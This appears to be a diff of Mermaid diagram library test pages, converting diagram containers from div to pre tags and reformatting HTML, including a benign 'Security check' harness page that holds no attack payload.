||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<div id="FirstLine" class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="display: flex">
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
graph TB
|
||||
Function-->URL
|
||||
click Function clickByFlow "Add a div"
|
||||
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid2">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid2">
|
||||
graph TB
|
||||
1Function-->2URL
|
||||
click 1Function clickByFlow "Add a div"
|
||||
click 2URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div id="FirstLine" class="mermaid2">
|
||||
<pre id="FirstLine" class="mermaid2">
|
||||
classDiagram
|
||||
class Test
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
class ShapeCallback
|
||||
callback ShapeCallback "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeCallback
|
||||
callback ShapeCallback "clickByClass" "This is a tooltip for a callback"
|
||||
</div>
|
||||
<div id="FirstLine" class="mermaid">
|
||||
</pre>
|
||||
<pre id="FirstLine" class="mermaid">
|
||||
classDiagram-v2
|
||||
class ShapeLink
|
||||
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
|
||||
</div>
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
<div class="mermaid2">
|
||||
<pre class="mermaid2">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -85,38 +85,38 @@
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByGantt(arg1, arg2, arg3) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-gant-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Gant';
|
||||
if (arg1) div.innerText += ' ' + arg1;
|
||||
if (arg2) div.innerText += ' ' + arg2;
|
||||
if (arg3) div.innerText += ' ' + arg3;
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass() {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class';
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
function clickByClass() {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-class-click';
|
||||
div.style = 'padding: 20px; background: purple; color: white;';
|
||||
div.innerText = 'Clicked By Class';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -17,27 +20,25 @@
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin-left: 20px;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
.mermaid2,.mermaid3 {
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2,
|
||||
.mermaid3 {
|
||||
display: none;
|
||||
}
|
||||
.mermaid {
|
||||
|
||||
}
|
||||
.mermaid svg {
|
||||
border: 1px solid purple;
|
||||
/* font-size: 18px !important; */
|
||||
fontFamily: 'courier'
|
||||
fontfamily: 'courier';
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
flowchart LR
|
||||
classDef aPID stroke:#4e4403,fill:#fdde29,color:#4e4403,rx:5px,ry:5px;
|
||||
classDef crm stroke:#333333,fill:#DCDCDC,color:#333333,rx:5px,ry:5px;
|
||||
@@ -55,8 +56,8 @@ flowchart LR
|
||||
click O2 function "Sorry the newline html tags are not being processed correctly<br/> So all of this appears on the <br/> same line."
|
||||
O0 -- has type -->O2["Bug"]
|
||||
click O0 function "Lots of great info about Joe<br>Lots of great info about Joe<br>burt<br>fred";
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
flowchart TD
|
||||
subgraph test
|
||||
direction TB
|
||||
@@ -69,23 +70,22 @@ flowchart TD
|
||||
G --> H
|
||||
end
|
||||
end
|
||||
|
||||
</div>
|
||||
<div class="mermaid" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 50%">
|
||||
flowchart TD
|
||||
id
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
flowchart LR
|
||||
a["<strong>Haiya</strong>"]===>b
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
flowchart TD
|
||||
A --> B
|
||||
A --> C
|
||||
B --> C
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
flowchart TD
|
||||
A([stadium shape test])
|
||||
A -->|Get money| B([Go shopping])
|
||||
@@ -98,8 +98,8 @@ flowchart TD
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
sequenceDiagram
|
||||
title: My Sequence Diagram Title
|
||||
accTitle: My Acc Sequence Diagram
|
||||
@@ -108,15 +108,15 @@ flowchart TD
|
||||
Alice->>John: Hello John, how are you?
|
||||
John-->>Alice: Great!
|
||||
Alice-)John: See you later!
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%">
|
||||
graph TD
|
||||
A -->|000| B
|
||||
B -->|111| C
|
||||
|
||||
linkStyle 1 stroke:#ff3,stroke-width:4px,color:red;
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
journey
|
||||
accTitle: My User Journey Diagram
|
||||
accDescr: My User Journey Diagram Description
|
||||
@@ -129,11 +129,11 @@ graph TD
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
info
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
requirementDiagram
|
||||
accTitle: My req Diagram
|
||||
accDescr: My req Diagram Description
|
||||
@@ -173,9 +173,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -206,24 +205,24 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
stateDiagram
|
||||
state Active {
|
||||
Idle
|
||||
}
|
||||
Inactive --> Idle: ACT
|
||||
Active --> Active: LOG
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
flowchart TB
|
||||
accTitle: My flowchart
|
||||
accDescr: My flowchart Description
|
||||
subgraph One
|
||||
a1-->a2-->a3
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
sequenceDiagram
|
||||
A ->> B: 1
|
||||
rect rgb(204, 0, 102)
|
||||
@@ -233,8 +232,9 @@ stateDiagram
|
||||
end
|
||||
end
|
||||
end
|
||||
B ->> A: Return</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
B ->> A: Return
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
classDiagram
|
||||
accTitle: My class diagram
|
||||
accDescr: My class diagram Description
|
||||
@@ -251,15 +251,15 @@ class Class10 {
|
||||
int id
|
||||
size()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
%%{init: {'config': {'wrap': true }}}%%
|
||||
sequenceDiagram
|
||||
participant A as Extremely utterly long line of longness which had previously overflown the actor box as it is much longer than what it should be
|
||||
A->>Bob: Hola
|
||||
Bob-->A: Pasten !
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
gitGraph
|
||||
commit id: "ZERO"
|
||||
branch develop
|
||||
@@ -279,15 +279,16 @@ class Class10 {
|
||||
checkout develop
|
||||
commit id:"C"
|
||||
merge featureA
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
C -->|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[fa:fa-car Car]
|
||||
</div> <div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
classDiagram
|
||||
Animal "1" <|-- Duck
|
||||
Animal <|-- Fish
|
||||
@@ -309,8 +310,8 @@ flowchart TD
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%">
|
||||
erDiagram
|
||||
CAR ||--o{ NAMED-DRIVER : allows
|
||||
CAR {
|
||||
@@ -324,9 +325,9 @@ flowchart TD
|
||||
string lastName
|
||||
int age
|
||||
}
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -345,17 +346,17 @@ flowchart TD
|
||||
},
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
function clickByFlow(elemName) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'created-by-click';
|
||||
div.style = 'padding: 20px; background: green; color: white;';
|
||||
div.innerText = 'Clicked By Flow';
|
||||
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
document.getElementsByTagName('body')[0].appendChild(div);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -41,12 +46,13 @@
|
||||
<body>
|
||||
<div>Security check</div>
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid">
|
||||
<pre id="diagram" class="mermaid">
|
||||
sequenceDiagram
|
||||
Nothing:Valid;
|
||||
</div>
|
||||
</pre>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -56,16 +62,15 @@ sequenceDiagram
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
try {
|
||||
mermaid.initThrowsErrors(undefined, '#diagram');
|
||||
} catch (err) {
|
||||
console.log('Caught error:', err);
|
||||
}
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
try {
|
||||
mermaid.initThrowsErrors(undefined, '#diagram');
|
||||
} catch (err) {
|
||||
console.log('Caught error:', err);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -28,27 +33,27 @@
|
||||
<body>
|
||||
<div>info below</div>
|
||||
<div class="">
|
||||
<div class="mermaid2" style="width: 100%; height: 400px;">
|
||||
<pre class="mermaid2" style="width: 100%; height: 400px">
|
||||
flowchart TB;subgraph "number as labels";1;end;
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 400px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 400px">
|
||||
flowchart TB;a[APA];
|
||||
</div>
|
||||
<div class="mermaid2" style="margin-left:100px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="margin-left: 100px">
|
||||
graph TD
|
||||
work --> sleep
|
||||
sleep --> work
|
||||
eat --> sleep
|
||||
work --> eat
|
||||
</div>
|
||||
<div class="mermaid2" style="margin-left:100px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="margin-left: 100px">
|
||||
flowchart TD
|
||||
work --> sleep
|
||||
sleep --> work
|
||||
eat --> sleep
|
||||
work --> eat
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
graph TB
|
||||
A
|
||||
B
|
||||
@@ -76,8 +81,8 @@ flowchart TD
|
||||
|
||||
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
|
||||
style bar fill:#999,stroke-width:2px,stroke:#0F0,color:blue
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
graph TB
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
A
|
||||
@@ -106,56 +111,56 @@ flowchart TD
|
||||
|
||||
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
|
||||
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
graph TD
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
graph TD
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
flowchart TD
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
flowchart TD
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
flowchart LR
|
||||
a["<strong>Haiya</strong>"]---->b
|
||||
</div>
|
||||
<div class="mermaid" style="">
|
||||
</pre>
|
||||
<pre class="mermaid" style="">
|
||||
flowchart LR
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
a["<strong>Haiya</strong>"]---->b
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
flowchart TD
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
flowchart TD
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
A[Christmas] ==> D
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
A[Christmas] ==> C
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
%%{init: { "logLevel": 1, "flowchart": {"htmlLabels":true }} }%%
|
||||
classDiagram-v2
|
||||
Class01 <|-- AveryLongClass : Cool
|
||||
@@ -182,8 +187,8 @@ classDiagram-v2
|
||||
int id
|
||||
test()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid2" style="">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="">
|
||||
classDiagram-v2
|
||||
Class01 <|-- AveryLongClass : Cool
|
||||
<<interface>> Class01
|
||||
@@ -209,8 +214,8 @@ classDiagram-v2
|
||||
int id
|
||||
test()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid" style="">
|
||||
</pre>
|
||||
<pre class="mermaid" style="">
|
||||
flowchart BT
|
||||
subgraph S1
|
||||
sub1 -->sub2
|
||||
@@ -220,8 +225,9 @@ flowchart BT
|
||||
end
|
||||
S1 --> S2
|
||||
sub1 --> sub4
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -244,8 +250,8 @@ flowchart BT
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,30 +1,29 @@
|
||||
<html>
|
||||
<head>
|
||||
<script src="http://localhost:9000/mermaid.js"></script>
|
||||
<script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'base',
|
||||
themeVariables: {},
|
||||
startOnLoad: true,
|
||||
});
|
||||
</script>
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Example</h1>
|
||||
<div class="mermaid">
|
||||
<h1>Example</h1>
|
||||
<pre class="mermaid">
|
||||
%%{init:{"theme":"base", "sequence": {"mirrorActors":false},"themeVariables": {"actorBkg":"red"}}}%%
|
||||
sequenceDiagram
|
||||
Bert->>+Ernie: Start looking for the cookie!
|
||||
Ernie-->>-Bert: Found it!
|
||||
Note left of Ernie: Cookies are good
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
%%{init:{"theme":"base", "themeVariables": {}}}%%
|
||||
sequenceDiagram
|
||||
Bert->>+Ernie: Start looking for the cookie!
|
||||
Ernie-->>-Bert: Found it!
|
||||
Note left of Ernie: Cookies are good
|
||||
</div>
|
||||
</body>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,29 +1,28 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph">
|
||||
</div>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph"></div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>mermaid.init({ startOnLoad: false });
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.init({ startOnLoad: false });
|
||||
|
||||
mermaid.mermaidAPI.initialize({ securityLevel: 'strict' });
|
||||
mermaid.mermaidAPI.initialize({ securityLevel: 'strict' });
|
||||
|
||||
try {
|
||||
console.log('rendering');
|
||||
mermaid.mermaidAPI.render('graphDiv', `>`);
|
||||
} catch (e) {}
|
||||
try {
|
||||
console.log('rendering');
|
||||
mermaid.mermaidAPI.render('graphDiv', `>`);
|
||||
} catch (e) {}
|
||||
|
||||
mermaid.mermaidAPI.render('graphDiv', `graph LR\n a --> b`, (html) => {
|
||||
document.getElementById('graph').innerHTML = html;
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
mermaid.mermaidAPI.render('graphDiv', `graph LR\n a --> b`, (html) => {
|
||||
document.getElementById('graph').innerHTML = html;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,30 +1,29 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph">
|
||||
</div>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph"></div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>mermaid.init({ startOnLoad: false });
|
||||
mermaid.mermaidAPI.initialize();
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.init({ startOnLoad: false });
|
||||
mermaid.mermaidAPI.initialize();
|
||||
|
||||
rerender('XMas');
|
||||
rerender('XMas');
|
||||
|
||||
function rerender(text) {
|
||||
var graphText = `graph TD
|
||||
function rerender(text) {
|
||||
var graphText = `graph TD
|
||||
A[${text}] -->|Get money| B(Go shopping)`;
|
||||
var graph = mermaid.mermaidAPI.render('id', graphText);
|
||||
console.log('\x1b[35m%s\x1b[0m', '>> graph', graph);
|
||||
document.getElementById('graph').innerHTML = graph;
|
||||
}
|
||||
</script>
|
||||
<button id="rerender" onclick="rerender('Saturday')">Rerender</button>
|
||||
|
||||
</body>
|
||||
var graph = mermaid.mermaidAPI.render('id', graphText);
|
||||
